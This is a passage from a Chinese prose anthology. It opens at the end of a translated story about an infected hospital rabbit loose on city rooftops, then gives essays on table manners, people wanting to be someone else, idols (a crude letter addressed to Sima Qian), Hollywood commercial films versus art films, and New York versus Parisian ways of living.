　　“告诉蒂欧蜜拉太太，”妈妈叮咛着，“她可以留一只兔腿下来！不，还是告诉她留兔头好了。啊，随便她了。”

　　当马可瓦多的屋子被护理人员、医生、守卫和警察重重包围时？小孩刚刚出了门。马可瓦多夹在他们中间半死不活的。“从医院带出来的兔子是在这里吧？快点，指给我们看它在哪里，但不要碰它：它身上有一种很可怕的病菌！”马可瓦多带着大家到笼子前面，但笼子是空的。“已经吃掉了？…”“不，没有！”“那么它在哪里？”“在蒂欧蜜拉太太家！”所有追缉者又开始他们的狩猎。

　　敲开蒂欧蜜拉太太的门。“兔子？什么兔子？你们疯啦？”看着自己家涌进一批穿着白衬衫和制服的陌生人，为了找一只兔子，老太太差点中风。她对马可瓦多的兔子毫不知情。

　　事实上，三个小男孩为了拯救那只兔子，想好要把它带到一个安全的地方，跟它玩一会儿然后放它走；所以他们没在蒂欧蜜拉太太家的楼梯口停下来，而决定爬到屋顶上方的平台去，准备跟妈妈说兔子弄断绳子跑掉了。但是再也没有比兔子更不适合逃亡的动物了。让它爬那些阶梯就是一个问题：每一阶都把它吓得缩成一团。最后只好把它抱在怀里带上楼去。

　　在屋顶平台，小孩们想让兔子快跑：它不跑。试着把兔子放在屋檐上看它能不能像猫那样走路：但看起来它似乎受不了晕眩。又试着把兔子抬到电视天线上看它能不能保持平衡：不能，直直跌了下来。觉得无聊，小孩扯断彩带，留下自由的小动物和它面前一望无际的倾斜、多角的屋顶，便离开了。

　　当它独处的时候，兔子就开始移动了。试着走了几步，看看四周，换个方向，转个身，然后小步小步的轻跳，往屋顶走去。这只小动物生来就是受束缚的：它对自由的渴望并非漫无边际，对它而言，能够有这么一会儿不用害怕就已经是生命中的幸福了。现在它可以自由移动，周围没有任何令它害怕的事，可以说是它这辈子头一遭。这个地方不比寻常，但是它永远无法建立什么东西是、什么东西不是寻常的清楚观念。自从它感觉到体内有一种难以分辨的、神秘的痛苦在侵蚀后，它对内部的世界越来越缺乏兴趣。于是它踏上屋顶，猫咪们看见它跳上来，不知道那是谁，都胆怯地后退了。

　　经过老虎窗、天窗、屋顶平台，兔子的行踪并没有被忽略。有人开始在窗台上摆盆生菜，然后躲在窗帘后偷窥；有人把梨核丢在屋瓦上，并在旁边用细绳子布下陷阱；有人在屋檐上拉了一线的胡萝卜块，直通到自家的老虎窗前。所有住在顶楼的家庭都传颂着一句口号：“今天有炖兔肉——或烩兔肉——或——烤兔子。”

　　小动物注意到这些诡计，这些静悄悄的食物的供应。尽管它很饿，仍抱持怀疑。因为它知道每一次人类试图用食物引诱它，就会发生一些不知名的和痛苦的事：把一支针管或手术刀插在它身上；或把它塞进一件扣扣子的夹克里；或用一条彩带拖着脖子走……。这些丑陋的记忆跟它所承受的体内的痛楚，器官的缓慢变化，和死的预感结合在一起。还有饥饿。但仿佛它知道所有这些不舒适中只有饥饿是可以被减轻的，并承认这些不可信赖的人类——除了给它残忍的折磨外——还能给它——也是它所需要——一种保护，一种家庭的温暖，便决定投降，把自己交托给人类的游戏：听天由命吧。于是它开始沿线吃起胡萝卜块，即便清楚知道会再一次成为囚犯，遭受折磨，但是还可以重新品尝这也许是最后一次的人间蔬菜的美味。它一步一步地靠近老虎窗，应该会有一只手伸出来抓住它；但一切相反，一眨眼间，窗户关了起来，把它留在外面。这就它的经验而言是反常的：陷阱拒绝弹跳。兔子转身，寻找身边其他埋伏的迹象，以便在其中选择一个值得投降的。可是周围的生菜被撤走了，绳子散开了，原本在门窗后露面的人都消失不见了，并且关上了窗户、天窗，屋顶平台了无人迹。

　　这是由于一辆警车穿越城市，用扩音器呼喊着：“请注意，请注意！有一只长毛的白兔子失踪了，它患有严重的传染病！找到它的人请记住它的肉是有毒的，即使碰触也有可能传染有害的病菌！无论谁看见它，请通知最近的警察单位、医院或消防队！”

　　恐慌在所有的屋顶上传开。每个人都采取了防御姿态，一看到那只兔子柔顺的步伐从别的屋顶跳到附近，就发出警报，然后好像大批蝗虫入侵前夕那样集体避难失去踪影。兔子在屋缘犹豫不决地前进，正值它发觉自己需要与人类亲近的时候，这种孤独感对它而言更具威胁性，更难以容忍。

　　同时，老猎人乌利克已经在他的猎枪中装好打野兔用的子弹，隐蔽在一个平台上，躲在烟囱后面。当他在雾中看见一团兔子的白影，迅速开火；但是由于他担心有害动物的激动，散弹射出的扇面偏得远了一些，打在瓦片上。兔子听到射击的回音在身边回绕，一粒弹丸打穿了它的耳朵。搞懂了：这是开战宣言，所有跟人类的关系自此一刀两断。为了表示对人类和隐隐约约感受到的忘恩负义之举的轻蔑，它决定了结自己的生命。

　　一片铺有金属钢板的屋顶斜斜伸出，在虚空，在缥缈的雾中结束。兔子四只脚搭上去，一开始还小心翼翼的，之后便任凭摆布了。向下滑行，被痛苦包围淹没，朝死亡走去。在屋沿，瓦楞托住它一秒钟，之后便往下坠落……。

　　掉在消防队员戴着手套的手中，他是乘活动电梯爬上来的。连最后这点动物的尊严也被阻止，兔子被送上救护车往医院疾驰而去。在车上的还有马可瓦多，他的太太和小孩，他们得留院观察，做一系列的菌苗检验。

吃相

梁实秋

　　一位外国朋友告诉我，他旅游西南某地的时候，偶于餐馆进食，忽闻壁板砰砰作响，其声清脆，密集如联珠炮，向人打听才知道是邻座食客正在大啖其糖醋排骨。这一道菜是这餐馆的拿手菜，顾客欣赏这个美味之余，顺嘴把骨头往旁边喷吐，你也吐，我也吐，所以把壁板打得叮叮当当响。不但顾客为之快意，店主人听了也觉得脸上光彩，认为这是大家为他捧场。这位外国朋友问我这是不是国内各地普遍的风俗，我告诉他我走过十几省还不曾遇见过这样的场面，而且当场若无壁板设备，或是顾客嘴部筋肉不够发达，此种盛况即不易发生。可是我心中暗想，天下之大，无奇不有，这样的事恐怕亦不无发生的可能。

　　《礼记》有“毋啮骨”之诫，大概包括啃骨头的举动在内。糖醋排骨的肉与骨是比较容易脱离的，大块的骨头上所联带着的肉若是用牙齿咬断下来，那龇牙咧嘴的样子便觉不大雅观。所以“割不正不食”“席不正不食”都是对于在桌面上进膳的人而言，啮骨应该是桌底下另外一种动物所做的事。不要以为我们一部分人把排骨吐得劈拍响便断定我们的吃相不佳。各地有各地的风俗习惯。世界上至今还有不少地方是用手抓食的。听说他们是用右手取食，左手则专供做另一种肮脏的事，不可混用，可见也还注重清洁。我不知道象咖喱鸡饭一类粘糊糊儿的东西如何用手指往嘴里送。用手取食，原是古已有之的老法。罗马皇帝尼禄大宴群臣，他从一只硕大无比的烤鹅身上扯下一条大腿，手举着鼓槌，歪着脖子啃而食之，那副贪婪无厌的饕餮相我们可于想象中得之。罗马的光荣不过尔尔，等而下之不必论了。欧洲中古时代，餐桌上的刀叉是奢侈品，从十一世纪到十五世纪不曾被普遍使用，有些人自备刀叉随身携带，这种作风一直延至十八世纪还偶尔可见，据说在酷嗜通心粉的国度里，市尘道旁随处都有贩卖通心粉（与不通心粉）的摊子，食客都是伸出右手象是五股钢叉一般把粉条一卷就送到口里，干净利落。

　　不要耻笑西方风俗鄙陋，我们泱泱大国自古以来也是双手万能。礼记：“共饭不泽手。”吕氏注曰：“不泽手者，古之饭者以手，与人共饭，摩手而有汗泽，人将恶之而难言。”饭前把手洗洗揩揩也就是了。樊哙把一块生猪肘子放在铁楯上拔剑而啖之，那是鸿门宴上的精彩节目，可是那个吃相也就很可观了。我们不愿意在餐桌上挥刀舞叉，我们的吃饭工具主要的是筷子，筷子即箸，古称饭頍。细细的两根竹筷，搦在手上，运动自如，能戳、能夹、能撮、能扒、神乎其技。不过我们至今也还有用手进食的地方、象从兰州到新疆，“抓饭”“抓肉”都是很驰名的。我们即使运用筷子，也不能不有相当的约束，若是频频夹取如金鸡乱点头，或挑肥检瘦的在盘碗里翻翻弄弄如拨草寻蛇，就不雅观。

　　餐桌礼仪，中西都有一套。外国的餐前祈祷，兰姆的描写可谓淋漓尽致。家长在那里低头闭眼口中念念有词，孩子们很少不在那里做鬼脸的。我们幸而极少宗教观念，小时候不敢在碗里留下饭粒，是怕长大了娶麻子媳妇，不敢把饭粒落在地上，是怕天打雷劈。喝汤而不准吮吸出声是外国规矩，我想这规矩不算太苛，因为外国的汤盆很浅，好象都是狐狸请鹭鸶吃饭时所使用的器皿，一盆汤端到桌上不可能是烫嘴热的，慢一点灌进嘴里去就可以不至于出声。若是喝一口我们的所谓“天下第一菜”口蘑锅巴汤而不出一点声音，岂不强人所难？从前我在北方家居，邻户是一个治安机关，隔着一堵墙，墙那边经常有几十口子在院子里进膳，我可以清晰的听到“呼噜，呼噜，呼——噜”的声响，然后是“咔嚓！”一声。他们是在吃炸酱面，于猛吸面条之后咬一口生蒜瓣。

　　餐桌的礼仪要重视，不要太重视。外国人吃饭不但要席正，而且挺直腰板，把食物送到嘴边。我们“食不厌精，脍不厌细”，要维持那种姿式便不容易。我见过一位女士，她的嘴并不比一般人小多少，但是她喝汤的时候真能把上下唇撮成一颗樱桃那样大，然后以匙尖触到口边徐徐吮饮之。这和把整个调羹送到嘴里面去的人比较起来，又近于矫枉过正了。人生贵适意，在环境许可的时候是不妨稍为放肆一点。吃饭而能充分享受，没有什么太多礼法的约束，细嚼烂咽，或风卷残云，均无不可，吃的时候怡然自得，吃完之后抹抹嘴鼓腹而游，像这样的乐事并不常见。我看见过两次真正痛快淋漓的吃，印象至今犹新。一次在北京的“灶温”，那是一爿道地的北京小吃馆。棉帘启处，进来了一位赶车的，即是赶轿车的车夫，辫子盘在额上，衣襟掀起塞在褡布底下，大摇大摆，手里托着菜叶裹着的生猪肉一块，提着一根马兰系着的一撮韭黄，把食物往框台上一拍：“掌柜的，烙一斤饼！再来一碗炖肉！”等一下，肉丝炒韭黄端上来了，两张家常饼一碗炖肉也端上来了。他把菜肴分为两份，一份倒在一张饼上，把饼一卷，比拳头要粗，两手扶着矗立在盘子上，张开血盆巨口，左一口，右一口，中间一口！不大的功夫，一张饼下肚，又一张也不见了，直吃得他青筋暴露满脸大汗，挺起腰身连打两个大饱膈。又一次，我在青岛寓所的后山坡上看见一群石匠在凿山造房，晌午歇工，有人送饭，打开笼屉热气腾腾，里面是半尺来长的酦面蒸饺，工人蜂拥而上，每人拍拍手掌便抓起饺子来咬，饺子里面露出绿韭菜馅。又有人挑来一桶开水，上面漂着一个瓢，一个个红光满面围着桶舀水吃。这时候又有挑着大葱的小贩赶来兜售那象甘蔗一般粗细的大葱，登时又人手一截，像是饭后进水果一般。上面这两个景象，我久久不能忘，他们都是自食其力的人，心里坦荡荡的，饿来吃饭，取其充腹，管什么吃相！

人人想做他人

塞缪尔 · 麦科德 · 克罗瑟斯

　　人人天生想做他人这一现象，说明了为什么生活中会有许多让人烦恼的小事。在社会这个完善的体系中，每个人都应该知道自己的位置并维护好它，但人人天生想做他人却阻碍着这一体系。既然想做他人，我们就会去从事严格说来不该自己做的事。我们谁都有着太多的本领和才能，无法在自己狭小的职业或工作领域里彻底施展。每个人都觉得自己大材小用，因此一直做着神学家们所说的“分外事”。

　　办事认真的女佣不满足于只做让她做的事，她有着过剩的精力，于是她想成为整个家庭的改革者。她来到主人的书桌前，对书桌进行一次彻底的改革。她按照自己对于整洁的认识把那些文件书信收拾一番。可怜的先生回到家里，发现自己熟悉亲切的一大堆乱东西，虽整齐却让人讨厌，于是他便造起反来。

　　某家公共汽车公司的一本正经的服务员，并不满足于廉价舒适地运载乘客这一简单的职责。他还想在某个道德文化机构里担任一名讲师。当被运载的受害者拉着车上的吊环摇来晃去时，这个服务员却读着一篇材料，敦促对方要有善心，而不要推来推去。可怜的人思考着他关于至善的劝告，真想像朱尼厄斯回答格拉夫唐公爵那样说：“大人，伤害或许可以得到补偿和原谅，但侮辱却是无法弥补的。”

　　一个男人走进理发店时只想修一下面，但他遇到的却是一个另有热望的理发师。这个严肃认真的理发师对于人们的幸福并不满足于作出一点点贡献。他坚持还要让顾客洗头、修指甲、按摩、洗桑拿、吹电扇，这期间还要为顾客刷皮鞋。

　　人们只为了避免伤害职业工作者的感情——这些人总想提供更多服务——竟然能忍耐着让他们对自己做出许多并不喜欢的事情。在一辆普尔曼式卧车里，当某个乘客站起来让人替他把衣服刷干净时，你注意到他脸上会露出斯多葛派式的那种表情。他很可能并不想让人为他刷衣服，宁愿让灰尘留在上面也不想被迫把它吞到肚里。但他明白别人指望自己要怎样。这是旅行当中的一种庄严的仪式，这仪式先于捐献之前。

　　人人想做他人，也说明了为什么艺术家和文人学士们会有许多反常的举动。画家、戏剧家、音乐家、诗人和小说家，也具有女佣、公共汽车服务员和搬运工一样的人性。他们希望“尽可能地用所有办法对所有人做出所有有益的事”。他们对于习以为常的方式厌倦了，想要试试新的工作方式，结果却把事情搞得一团糟。

　　于是一个音乐家想做画家，把他的小提琴当做画笔。他是想让我们看到他正画着的那种落日的光辉。而一个画家又想做音乐家，画出交响乐来，但他因缺乏修养的听众听不见他的画而感到苦恼，尽管其色彩确实互不协调。另一个画家则想做建筑师，好像他的画是用方砖建成的。它看起来是一座砖建筑物，但在一般人眼里并不像是一幅画。一个散文家厌倦了写散文，想成为一名诗人，于是他每一行开头都用一个大写字母，而写出的仍然是散文。

　　或者你拿起一本小说，以为它是一部虚构的作品。但作家却另有意图，他想要成为你的精神顾问。他得为你的想法做点什么，得重新调整你的基本观点，得抚慰你的灵魂，把你身上彻底打扫一番。尽管你并不想让他打扫和纠正，但他仍然要为你做那一切。你并不想让他对你的想法做出什么，那是你干自己的事唯一需要的想法。

大偶

冯唐

　　晚生牛马走冯唐再拜言司马迁足下：

　　偶像，你好。

　　我今年年中换了一个工作，发现换工作和搬家或离婚一样麻烦。因为麻烦，所以常常在动手之前思考各种为什么，权衡值不值得惹这摊麻烦。今年年中这次思考的主要副产品之一就是再一次确定，你是我偶像。因为年近不惑，在阳痿之前，在绝经之前，在见棺材之前，再换工作再搬家再折腾世俗婚姻的机会都不大，所以你很可能会是我一生的偶像。

　　找个偶像的意义重大，比找个初恋和找个墓地都更重要。

　　我妈说我的出生是家庭的意外，是国家的计划生育之外，所以基本属于野合、疯长，从小没人指点。在长大过程中，我慢慢发现，对于个人的成长和欢喜，找个合适的偶像是一条被历史反复证明了的捷径。或许另一条更快更稳妥的捷径是找个适合的宗教，但是我们这代人从小就被挑断了宗教的脚筋，长大之后再也不能充分体会这种崇高。整个星空不可得，路上有偶像，仿佛一颗星星似的，也好。

　　我们小时候也被反复教育要追随榜样，但是对于小孩儿，这些榜样往往太久远、太具体，适用性不强。比如黄继光和邱少云。他们都是战争年代的英雄，我们都很敬仰，但是我们的生活里，周围方圆二十里，过去二十年，半个反革命都没抓到过了。为了说明黄继光和邱少云的精神为什么还适用，当时的班主任把嘴唇都说成兔唇了，我们还是将信将疑。进一步细细想想，学黄继光还容易些，不就是堵枪眼吗？一咬牙一跺脚，上！但是学邱少云难了，活人文火炭烧，想都不敢细想。后来学医，手术台上，皮肤切开之后，血从切面的各个血管破损处流出来，主刀医生一边用电钳止血，一边讲昨天吃的韩国烧烤，我当时就吐了。

　　我也尝试过在现实生活中寻找偶像。邻居的一个姐姐，眼睛挺大，头发很滑，曾经语文和数学考了两个满分。我妈说，你瞧瞧人家，好好学学。我当时觉得，我仿佛一条狼狗，我妈说，去，学学谁，我就扑上去。后来，这个姐姐很快得了厌食症和失眠症，每天想着再考双百，却再也没考到过。我哥比我大九岁，当时一个日本电影《追捕》非常流行，我哥有像极了高仓健的忧郁眼神儿和黑风衣，他们学校长得有点像日本人的女生都利用课间操、运动会、春游等等机会扑他。我曾经和我妈讨论，把他当偶像。我妈说，你想当流氓啊？我爸一直是我艳羡的对象，他从来都活在当下，从来都不想明天的事儿，炖肉的时候炖肉，喝茶的时候喝茶，看毛片的时候看毛片，睡觉的时候睡觉。但是，我很快发现，我爸是天生的奇葩，禀赋差的很难在后天模仿。而且，因为他没有被困扰过，没有经历艰苦的心路历程就开出花来，所以没有渡人的能力，只会自己灿灿地开放着。

　　因为没有更好的办法，没有亲尝的机缘，我开始胡乱在书里找，武侠小说和《武学七书》一起读，“文革”简史和《文心雕龙》一起读。很快喜欢上了三个人：李渔、曾国藩、你。

　　李渔是个闲不下来的闲散人，他放弃通俗意义上的名利，他的一生是吃喝嫖赌抽的一生，是把吃喝嫖赌抽的温润精细做到极致的一生。他和我一样，喜欢浅显的文字、白皮肤的女人、雅素的房子。

　　曾国藩是个勤谨蛮狠的耕读人，他追求通俗意义上的名利，他的一生是克己复礼的一生，是向自己一切小鸡鸡引刀自宫的一生。他读书、明理、做事，不要钱，不怕死，五十岁前就实现了立德、立功、立言三不朽。

　　你是个天生的写字的人，你追求对人世超越时间和空间的理解，你的一生是做一件大事的一生，是不惜失去一切鸡鸡也要做成这件大事的一生。你游学、探问、书写，在乌江边上，听亲历的老人回忆虞姬头发的味道、乌骓马的腰肌，你经历、你理解、你表达。

　　综合你们三个人的共同特征，偶像的标准基本成型。

　　第一，因材。不能拧巴。是关公就耍大刀，是孔明就论天下。第二，尽力。哪怕一生要理解的是草履虫的纤毛前端的一个蛋白的一个基因，也要争取做到前无古人、后无来者，当提刀而立，为之四顾，为之踌躇满志。即使做不到这种牛逼，至少要做到用尽自己的力气。第三，笃定。操南墙他妈，操棺材他妈，操命运他妈，不着急，不害怕，不要脸，做到底。被骂反道德，又怎样？因为要遵从道德而做出来的傻逼事儿还少吗？被切了鸡巴，又怎样？睡一觉再长出十七八个来。被放逐，又怎样？“李白当年流夜郎，中原不复汉文章”，损失的不是我。

　　一切都是游戏：八万年前，原始人取火、狩猎、采集、做贝壳项链。八百年前，蒙古人打猎、攻城、掠地。今天，我们进财富五百强、做对冲基金、搭便车周游地球、订制一个岛屿、爬遍地球所有的 G 点（南极、北极、珠峰），把大理、拉萨和香格里拉活成一种新的宗教。见过一则游戏机的广告，记得深刻：Life is short.Play！生命短促，耍，往爽里耍！

　　书不能悉意，略陈固陋。

　　冯唐再拜

商业片与艺术片

王小波

　　去年，好莱坞十部大片在中国上演，引起了一场不大不小的轰动。这类片子我在美国时看了不少，但我远不是个电影迷。初到美国时英文不好，看电影来学习英文——除了在电影院着，还租带子，在有线电视上看，前后看了大约也有上千部。片子看多了，就能分出好坏来；但我是个中国的知识分子，既不买好莱坞电影俗套的帐，也不吃美国文化那一套，评判电影另有一套标准。实际上，世界上所有的文化人评判美国电影、标准都和我差不多。用这个标准来看这十部大片，就是一些不错的商业片，谈不上好。美国电影里有一些真好的艺术片，可不是这个样了。

　　作为一个文化人，我认为好莱坞商业片最让人倒胃之处是落俗套。五六十年代的电影来不来的张嘴就唱，抬腿就跳，唱的是没调的歌，跳的是狗撒尿式的踢蹋舞。我在好莱坞电影里看到男女主人公一张嘴或一抬腿，马上浑身起鸡皮疙瘩，抖作一团；你可能没有同样的反应，那是因为没有我看得多。到了七十年代，西部片大行其道，无非是一个牛仔拔枪就打，全部情节就如我一位美国同学概括的：“Kill everybody”——把所有的人都杀了。等到观众看到牛仔、左轮手枪就讨厌，才换上现在最大的俗套，也就是我们正在看的：炸房子，摔汽车；一直要演到你一看到爆炸就起鸡皮疙瘩，才会换点别的。除了爆炸，还有很多别的俗套。说实在的，我真有点佩服美国片商炮制俗套时那种恬不知耻的劲头。举个例子，有部美国片子《洛基》，起初是部艺术片，讲一个穷移民，生活就如一潭死水——那叙事的风格就像怪腔怪调的布鲁斯，非常的地道。有个拳王挑对手，一下挑到他头上，这是因为他的名字叫“洛基”、在英文的意思里是“经揍”……这电影可能你已经看过了，怪七怪八的，很有点意思。我对它评价不低。假如只拍一集，它会给人留下很好的印象，别人也爱看。无奈有些傻瓜喜欢看电影里揍人的镜头，就有混帐片商把它一集集地拍了下去，除了揍人和挨揍，　—点别的都没了。我离开美国时好像已经拍到了《洛基七》或者《洛基八》，弄到了这个地步，就不是电影，根本就是大粪。

　　好莱坞商业片看多了，就会联想到《镜花缘》里的直肠国。那里的人消化功能差，一顿饭吃下去，从下面出来，还是一顿饭。为了避免浪费，只好再吃一遍（再次吃下去之前，可能会回回锅，加点香油、味精）。直到三遍五遍，饭不像饭而像粪时，才换上新饭。这个比方多少有点恶心，但我想不到更好的比方了。好莱坞的片商就是直肠国的厨师，美国观众就是直肠国的食客。顺便说一句，国产电影里也有俗套，而且我们早就看腻了……这个话题就到此为止，以免大家恶心。说句公道话，这十部大片有不少长处，特技很出色，演员也演得好，虽然说到头来，也就是些商业俗套，但中国观众才吃第一遍，感觉还很好；总得再看上一些才能觉得味道不对头。

　　我说过，美国也有好的艺术片。比方说，沃伦·比提年轻时自己当制片、自己主演的片子就很好。其中有一部《赤色分子》，中国的观众就算没看过，大概也有耳闻。再比方说乌迪·艾伦的影片，从早年的《Banma》（傻瓜），到后来的《汉娜姐妹》，都很好。艺术片和商业片的区别就在于不是俗套。谁能说《末代皇帝》是俗套？谁能说《美国往事》是俗套？美国出产真正的艺术片并不少，只是与大量出产的商业片比，显得少一点而已。然而就是这少量的电影、才是美国电影真正生命之所在。美国搞电影的人自己都说，除了少量艺术精品，好莱坞生产垃圾。制造垃圾的理由是：垃圾能卖钱，精品不卖钱。《美国往事》、《末代皇帝》从筹划到拍成，都是好几年。要总是这样拍电影，片商只好去跳楼……

　　既然艺术片不赚钱，怎么美国人还在拍艺术片？这是最有意思的问题。我以为，没有好的艺术片，就没有好的商业片。好东西翻炒几道才成了俗套，文化垃圾恰恰是精品的碎片。要是投人搞真正的艺术电影，好莱坞现在肯定还在跳狗撒尿的踢蹋舞；让最鲁钝、最没品味的电影观众看了也大发疟疾。无论如何，真正的艺术才是世界上最好的东西。我对去年引进十部大片很赞成，因为前年这这样十部大片都没有。但我觉得自今年起，就该有点艺术片。除此之外，眼睛也别光盯着好莱坞。据我所知，美国一些独立制片人的片子相当好，欧洲的电影就更好。只看好莱坞商业片，是会把人看笨的。

白天纽约，黑夜巴黎

王文华

　　我在赶些什么？我耗尽青春用尽全力，拼命追求身外之物，结果我真的比别人有钱、有名吗？更重要的，我真的因此而快乐吗？远方有广阔的地平线，为何我还在原地摇过时的呼拉圈？

　　纽约和巴黎，代表了我人生的两个面向。纽约是白天，巴黎是黑夜。纽约是前半生，巴黎是下半场。

　　三十五岁之前，我认定纽约是世上最棒的城市。我在加州念研究所，毕业后迫不及待地去纽约工作。一做五年，快乐似神仙。我爱纽约的原因跟很多人一样：她是二十世纪以来世界文化的中心。丰富、方便。靠着地铁和出租车，你可以穿越时间，前后各跑数百年。人类最新和最旧、最好和最坏的东西，纽约都看得见。

　　所以在纽约时，我把握每分每秒去体会。白天，我在金融机构做事，一天十小时。晚上下了班，去 NYU 学电影，一坐四小时。在那二十多岁的年纪，忙碌是唯一有意义的生活方式。活着，就是要把自己榨干，把自己居住的城市，内外翻转过来。

　　这种想法并不是到纽约才有的。其实从小开始，台湾人就过着纽约生活。纽约生活，充满新教徒的打拚精神和资本主义的求胜意志。相信人要借着不断努力，克服万难、打败竞争。活着的目的，是更大、更多、更富裕、更有名。权力与财富，是纽约人的两个上帝。而能帮你走进天堂的鞋，就是事业、事业、事业。

　　在这种弱肉强食的生活方式，为了保持领先，每个人都在赶时间、抢资源。进了电梯，明明已经按了楼层的钮，那灯也亮了，偏偏还要再按几下，彷佛这样就可以快一点。出了公司，明明已经下班了，却还要不停讲手机，摇控每一个环节。在纽约，为达目的，可以不择手段，甚至赶尽杀绝。在纽约，没有坏人，只有失败者。

　　台湾，是不是也变成这样？

　　每一件事，都变成工作。上班当然是工作，下班后的应酬也是工作。有人谈恋爱是在工作，甚至到酒店喝酒、KTV 狂欢，脸上都杀气腾腾，准备拚个你死我活。

　　我曾热烈拥抱这种生活，并着迷于这种因为烧烤成功而冒出的焦虑。这种焦虑让我坐在椅子边缘，以便迅速地跳起来闪躲明枪暗箭。这种警觉性让我练就了酒量和胆量、抗压性和厚脸皮。但也养成了偏执和倔强、优越感和势利眼。在纽约时我深信：能在这里活下来的，都是可敬的对手。黯然离开的，统统是输家。人生任何事，绝对要坚持到底。半途而废的，必定有隐疾。在这不睡的城市，每天我醒来，带着人定胜天的活力，跟着法兰克辛纳屈唱《纽约，纽约》：如果你能在纽约成功，你可以在任何地方成功！是的，在纽约，现代的罗马竞技场，我要和别人，以及自己，比出高低。

　　这套想法，在我三十五岁以后，慢慢改变。

　　第一件动摇我想法的，是父亲的过世。我父亲一生奉公守法、与人为善。毫无不良嗜好，身体健康地像城堡。七十二岁时，他得了癌症、引发中风，经历了所有的痛苦和羞辱。他一生辛勤工作、努力存钱、坚信现在的苦可以换得更好的明天。我们也相信一分耕耘、一分收获，用在纽约拚事业的精神照顾他。但两年的治疗兵败如山倒，最后他还是走了。父亲逝世的那天，我的价值系统崩溃了。我一路走来引以为傲的纽约精神，没想到这么脆弱。

　　不止在病床，也在职场。当我在企业越爬越高，才发现资本主义在职场中也未必灵验。上过班的都知道，很少公司真的是开放市场、公平竞争。大部分的同事都觉得你不是朋友、就是敌人。职场上伟大的，未必会成功。成功的，有时很渺小。很多人一辈子为公司鞠躬尽瘁，最后得到一支纪念笔。那些卷款潜逃的，反而变成传奇。

　　慢慢的，我体会到：世上有一种比善有善报、恶有恶报更高、更复杂的公平。人生有另一种比功成名就更幽微、更持久的乐趣。那是冲冲冲的美式资本主义，所无法解释的。

　　我能在哪里找到那种公平和乐趣呢？我想过西藏、不丹、非洲、纽西兰。然后，我注意到法国。

　　住纽约时，法国是嘲讽的对象。身为经济、科技、和军事强权的美国，谈起法国总是忍不住调侃一番。法国是没落的贵族，值得崇拜的人都已作古。法国人傲慢，高税率让每个人都很慵懒。动不动就罢工，连酒庄主人都要走上街头。

　　搬回台湾后，普罗旺斯、托斯卡尼突然流行。我看了法兰西斯 · 梅思的《美丽的托斯卡尼》，其中一句话打动了我：在加州，时间像呼拉圈。我扭个不停，却停在原地。在托斯卡尼，我可以在地中海的阳光下，提着一篮李子，逍遥地走一整天。

　　是啊！我在赶些什么？我耗尽青春用尽全力，拚命追求身外之物，结果我真的比别人有钱、有名吗？更重要的，我真的因此而快乐吗？远方有广阔的地平线，为何我还在原地摇过时的呼拉圈？

　　当我重新学习法国，我发现法国和美国代表两种截然不同的生活方式。美国人追求人定胜天，凡事要逆流而上。法国人讲究和平共存，凡事顺势而为。纽约有很多一百层的摩天大楼，巴黎的房子都是三百年的古迹。纽约不断创新，巴黎永远有怀旧的气息。巴黎人在咖啡厅聊天，纽约人在咖啡厅用计算机。纽约有人潮，巴黎有味道。纽约有钞票，巴黎有蛋糕。

　　不论是政府或个人，法国人都把精神投注在食、衣、住、行等身内之物。就让美国去做老大哥吧。要征服太空、要打伊拉克、要调高利率、要发明新科技，都随他去。法国人甘愿偏安大西洋，抽烟、喝酒、看足球、搞时尚。当美国人忙出了胃溃疡，法国人又吃了一罐鹅肝酱。

　　讲到吃，法国有三百种起司、光是波尔多就有五十七个酒的产区。晚上六点朝咖啡厅门口一坐，一杯红酒就可以聊三个小时。九点再去吃晚餐，一直吃到隔天凌晨。他们在吃上所花的时间，跟我们上班时数一样。但讽刺的是：他们没有 All You Can Eat。

　　吃很重要，但也要会挑时间，朋友介绍我去试一家法国餐厅，提醒我他们礼拜二、四晚上休息。为什么？我问。他说：因为主厨要回家看足球。

　　聪明的主厨懂法律。法国法律规定一周工作最多三十五小时，大部分的人一年有五周的假期。而美国人把加班当作自己有价值的表示，度假时还拿着手机回 E-mail。法国人比美国人会玩。每年六月的巴黎音乐节，从午后到深夜，几百场露天音乐会在各处同时举行，人多到地铁都暂停收费。每年十月的白夜，平日入夜就打烊的店面，彻夜营业到清晨七点。每年夏天，巴黎市政府在塞纳河右岸布置了三段、总长一．八公里的人工海滩。细砂、吊床、躺椅、棕榈树，自然海滩有的景致这里都有，让没有钱去海边度假的民众，也可以享受到海滩风光。

　　当然，法国这么深厚的文化，不可能只从吃喝玩乐而来。美国人读书，为了考证照。法国人读书，为了搞情调。每年十月的读书节，大城市的火车站内，民众轮流上台朗诵诗句。书店营业到天明，整晚有现场演奏的乐曲。美食书展选在铜臭味最重的证券交易所举办。小镇书展的书直接长在树上，读者必须爬到树上，把书摘下来品尝。

　　一直跟着美国走的台湾人，会心动吗？

　　我心动了。十一月我到巴黎，一位法国朋友来接待我。临走前我问他：明天你要干嘛？

　　我要去银行。

　　然后呢？我问。

　　我不懂你的意思……

　　对我来说，去银行是吃完午饭后跑去办的小事。对法国人来说，这是他一天全部的行程。法国人总是专心而缓慢的，每天把一件小事做好。

　　这样的生活，对美国或台湾人来说，实在是太颓废了。的确也是。法国失业率接近 10%，高税率让雇主宁愿打烊休息，免得帮员工缴税。巴黎闹区纸醉金迷，但郊区的少数民族却没有工作机会。这些都是黑暗面，但对于每日被强光烤焦的台湾人，阴暗也许提供了喘息空间。生命的终点都一样，有钱人的丧礼只是比较多人上香。不断的追赶只是提前冲向谢幕，为什么不把时间花在慢慢为生命暖场？你不需要一辈子鞠躬尽瘁、死而后已。你可以偶尔伸伸懒腰、安步当车。

　　我从巴黎回来，台北并没有改变。关了两周的手机再度响起，一通电话找不到我的人会连续狂 call 十通。和朋友见面，他很关心地问我：好了，你现在工作也辞了、欧洲也去了，接下来有什么 Projects？

　　Projects？多么纽约的字眼。

　　我真想说：好好生活，不就是人生最大的 Project？但我知道在熙来攘往的台北街头，在不到四十岁的年纪，这样说太矫情了。况且，我今天之所以有钱有闲享受法式生活，不也正因为我曾在美式生活中得到很多利益？我仍热爱工作、热爱纽约，但已不用像二十岁时一样亦步亦趋、寸步不离。

　　所以我说：我还是会早起，白天努力写作。但到了晚上，我想关掉手机。

　　世界少了我，其实无所谓。但我少了我，还剩什么？

京都老蔡记

蔡澜

　　对百年老店，我一向有份尊敬，所谓创业容易守业难，又说什么烂船也有三斤铁，能生存那么久，总是有点道理的。其中之一是“京都老蔡记”。

